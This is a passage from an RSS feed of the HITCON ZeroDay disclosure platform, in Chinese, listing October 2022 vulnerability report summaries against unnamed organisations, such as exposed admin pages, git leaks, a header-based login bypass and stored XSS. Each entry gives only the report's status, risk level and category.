   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Sat, 15 Oct 2022 20:59:54 GMT</pubDate></item><item><title> 某單位 後臺未關閉</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00870</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00870
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後臺未關閉
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckfinder相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/14 19:46:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:13:30
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00870
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 14 Oct 2022 19:46:02 GMT</pubDate></item><item><title> 某單位  git leak 漏洞原始碼與相關帳密洩漏</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00868</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00868
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  git leak 漏洞原始碼與相關帳密洩漏
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      資訊洩漏
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/14 01:37:41
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Spider 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:12:00
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00868
    </li>
    <li>
     通報者：lucasyang (
     <a href="/user/lucasyang">
      Spider
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資訊洩漏 (Information Leakage)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 14 Oct 2022 01:37:41 GMT</pubDate></item><item><title> 某單位   git leak 漏洞原始碼帳密洩漏</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00866</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-medium-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00866
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位   git leak 漏洞原始碼帳密洩漏
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      資訊洩漏
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-medium">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/14 01:20:19
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Spider 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:10:29
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00866
    </li>
    <li>
     通報者：lucasyang (
     <a href="/user/lucasyang">
      Spider
     </a>
     )
    </li>
    <li>
     風險：中
    </li>
    <li>
     類型：資訊洩漏 (Information Leakage)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 14 Oct 2022 01:20:19 GMT</pubDate></item><item><title> 某單位  資料庫資訊洩漏</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00864</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00864
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  資料庫資訊洩漏
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      資訊洩漏
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/14 01:09:02
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Spider 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:08:58
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00864
    </li>
    <li>
     通報者：lucasyang (
     <a href="/user/lucasyang">
      Spider
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資訊洩漏 (Information Leakage)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 14 Oct 2022 01:09:02 GMT</pubDate></item><item><title> 某單位  git leak 漏洞原始碼洩漏</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00863</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00863
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位  git leak 漏洞原始碼洩漏
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      資訊洩漏
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/14 01:04:47
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 Spider 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:08:10
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00863
    </li>
    <li>
     通報者：lucasyang (
     <a href="/user/lucasyang">
      Spider
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：資訊洩漏 (Information Leakage)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Fri, 14 Oct 2022 01:04:47 GMT</pubDate></item><item><title> 某單位 後台外洩並且可惡意利用</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00860</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00860
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 後台外洩並且可惡意利用
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      透過修改http header即可成功登入
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/13 01:46:48
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 23:01:11
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00860
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：HTTP Header 注入 (HTTP Header Injection)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 13 Oct 2022 01:46:48 GMT</pubDate></item><item><title> 某單位 phpmyadmin設定頁面未關</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00859</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-high-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00859
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 phpmyadmin設定頁面未關
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      可直接使用phpmyadmin
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-high">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/13 01:15:35
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/13 01:47:03
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 22:55:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 22:55:37
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00859
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：高
    </li>
    <li>
     類型：不安全的直接存取物件 (Insecure Direct Object References, IDOR)
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section vu-d-cmnt">
  <h3 class="sec-title">
   留言討論
  </h3>
  <div class="section-content">
   <div class="zdui-comment-block">
    <div class="comments-block" id="comments_block">
    </div>
    <div class="login-and-comment">
     <a href="/auth/login">
      登入後留言
     </a>
    </div>
   </div>
  </div>
 </section>
</div>
</description><pubDate>Thu, 13 Oct 2022 01:15:35 GMT</pubDate></item><item><title> 某單位 XSS</title><link>https://zeroday.hitcon.org/vulnerability/ZD-2022-00858</link><description><div class="container">
 <h2 class="always-not-there">
  Vulnerability Detail Report
 </h2>
 <section class="vul-detail-section overview">
  <h3 class="always-not-there">
   Vulnerability Overview
  </h3>
  <div class="section-content overview">
   <ul>
    <li class="zdid col-risk-low-pseud-b">
     <span class="label">
      ZDID:
     </span>
     <span class="value">
      ZD-2022-00858
     </span>
    </li>
    <li class="title">
     <span class="label">
      Title:
     </span>
     <span class="value">
      某單位 XSS
     </span>
    </li>
    <li class="intro">
     <span class="label">
      Introduction:
     </span>
     <span class="value">
      ckeditor相關功能未關
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   處理狀態
  </h3>
  <div class="section-content status">
   <h4 class="always-not-there">
    目前狀態
   </h4>
   <div class="status-label col-status-200-tx">
    審核完成
   </div>
   <div class="status-descr">
    Last Update : 2022/10/16
   </div>
   <ul class="zdui-status-timeline stat-tn-risk-low">
    <li class="">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       新提交
      </span>
     </div>
    </li>
    <li class="just-arrived">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       已審核
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未通報
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未修補
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       未複測
      </span>
     </div>
    </li>
    <li class="not-arrived-yet">
     <div class="stat-tn-node">
      <span class="stat-tn-date">
      </span>
      <span class="stat-tn-stat tx-overflow-ellipsis">
       公開
      </span>
     </div>
    </li>
   </ul>
   <h4 class="always-not-there">
    處理歷程
   </h4>
   <div class="status-log" data-label-expand="點此顯示完整的處理歷程" data-label-fold="收合完整歷程" onclick="onClickToggleVulStatLog(event)">
   </div>
   <ul class="status-log-list" id="vul-status-log-list">
    <li>
     <span class="log-date">
      2022/10/13 00:44:27
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      新提交 (由 handsome_boy 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 22:50:16
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
    <li>
     <span class="log-date">
      2022/10/16 22:50:17
     </span>
     <span class="always-not-there">
      :
     </span>
     <span class="log-status">
      審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
     </span>
    </li>
   </ul>
  </div>
 </section>
 <section class="vul-detail-section">
  <h3 class="sec-title">
   詳細資料
  </h3>
  <div class="section-content info">
   <ul>
    <li>
     ZDID：ZD-2022-00858
    </li>
    <li>
     通報者：glass860 (
     <a href="/user/glass860">
      handsome_boy
     </a>
     )
    </li>
    <li>
     風險：低
    </li>
    <li>
     類型：預存式跨站腳本攻擊 (Stored Cross-Site Scripting)
    </li>
   </ul>
  </div>
 </section>
